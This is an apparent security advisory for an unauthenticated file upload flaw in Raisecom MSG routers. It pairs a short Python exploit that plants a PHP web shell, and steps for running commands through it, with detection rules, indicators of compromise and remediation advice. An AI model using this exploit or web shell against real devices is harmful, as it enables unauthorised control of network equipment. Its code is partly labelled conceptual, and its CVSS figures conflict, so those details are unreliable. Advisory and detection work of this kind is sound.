CVE-2024-55515

Executive Summary

CVE-2024-55515 is a critical arbitrary file upload vulnerability affecting Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 devices running firmware version 3.90. The flaw resides in the /upload_ipslib.php endpoint on the web interface, allowing an unauthenticated attacker to upload arbitrary files by crafting a suitable form name. This can lead to remote code execution, device compromise, and potential network pivoting. No official patch has been released, and the vulnerability is publicly known with a CVSS score of 0.0 (likely unassigned or placeholder). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains high due to the nature of the flaw.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical (based on impact, though CVSS is placeholder)

Deep Dive & Mechanics

The vulnerability exists in the /upload_ipslib.php script, which is part of the web interface for managing Raisecom MSG series devices. The script handles file uploads without proper validation of the form name or file content. By manipulating the form name parameter, an attacker can bypass intended restrictions and upload arbitrary files (e.g., PHP shells, executables) to the web server's document root. Once uploaded, the attacker can access the file directly via the web interface, leading to remote code execution with the privileges of the web server (typically root or a privileged user). The lack of authentication and input sanitization makes this a trivial exploit for attackers with network access to the device.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

<?php
// /upload_ipslib.php
$uploaddir = '/var/www/html/uploads/';
$filename = $_FILES['file']['name'];
$form_name = $_POST['form_name']; // No validation
move_uploaded_file($_FILES['file']['tmp_name'], $uploaddir . $filename);
?>

Patched Code (hypothetical):

<?php
// /upload_ipslib.php
$uploaddir = '/var/www/html/uploads/';
$allowed_extensions = ['txt', 'log', 'dat'];
$filename = basename($_FILES['file']['name']);
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_extensions)) {
    die('Invalid file type');
}
$form_name = $_POST['form_name'];
if (preg_match('/^[a-zA-Z0-9_]+$/', $form_name)) {
    move_uploaded_file($_FILES['file']['tmp_name'], $uploaddir . $filename);
} else {
    die('Invalid form name');
}
?>

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://<target_ip>/upload_ipslib.php"
payload = {'form_name': 'malicious'}
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
response = requests.post(target, files=files, data=payload)
print("Uploaded to: http://<target_ip>/uploads/shell.php?cmd=id")

Usage:

1. Replace <target_ip> with the device's IP.
2. Run the script to upload a PHP web shell.
3. Access the shell via http://<target_ip>/uploads/shell.php?cmd=id.

Blue Team

Detection:

• Monitor HTTP POST requests to /upload_ipslib.php with unusual form names or file extensions.
• Check for unexpected files in /var/www/html/uploads/ directory.
• Use network monitoring to detect outbound connections from the device after exploitation.

Mitigation:

• Restrict access to the web interface via firewall rules.
• Disable file upload functionality if not required.
• Implement WAF rules to block malicious file uploads.

Indicators of Compromise (IOCs)

• File: /var/www/html/uploads/shell.php or similar webshells.
• Network: HTTP requests to /upload_ipslib.php with POST method and file upload.
• Log: Web server logs showing POST /upload_ipslib.php with non-standard form names.
• Process: Unusual processes spawned by the web server (e.g., id, whoami).

Detection Engineering

YARA Rule

rule CVE_2024_55515_Upload {
    meta:
        description = "Detects malicious file uploads targeting Raisecom devices"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $upload = "/upload_ipslib.php"
        $php_shell = "<?php system("
    condition:
        $upload and $php_shell
}

Sigma Rule

title: Detect Raisecom Arbitrary File Upload
id: 8f4b3c2a-1e5d-4f7b-9a0c-3d6e8f2b1a4c
status: experimental
description: Detects HTTP POST requests to /upload_ipslib.php with file uploads
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload_ipslib.php'
    condition: selection
falsepositives:
    - Legitimate firmware updates
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55515 Raisecom Arbitrary File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload_ipslib.php"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict network access to the web interface (port 80/443) to trusted IPs only.
• Workaround: Disable the /upload_ipslib.php endpoint by removing or renaming the file.
• Long-term: Apply firmware updates from Raisecom when available. Monitor vendor advisories.
• Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block file uploads to this endpoint.

Valters IT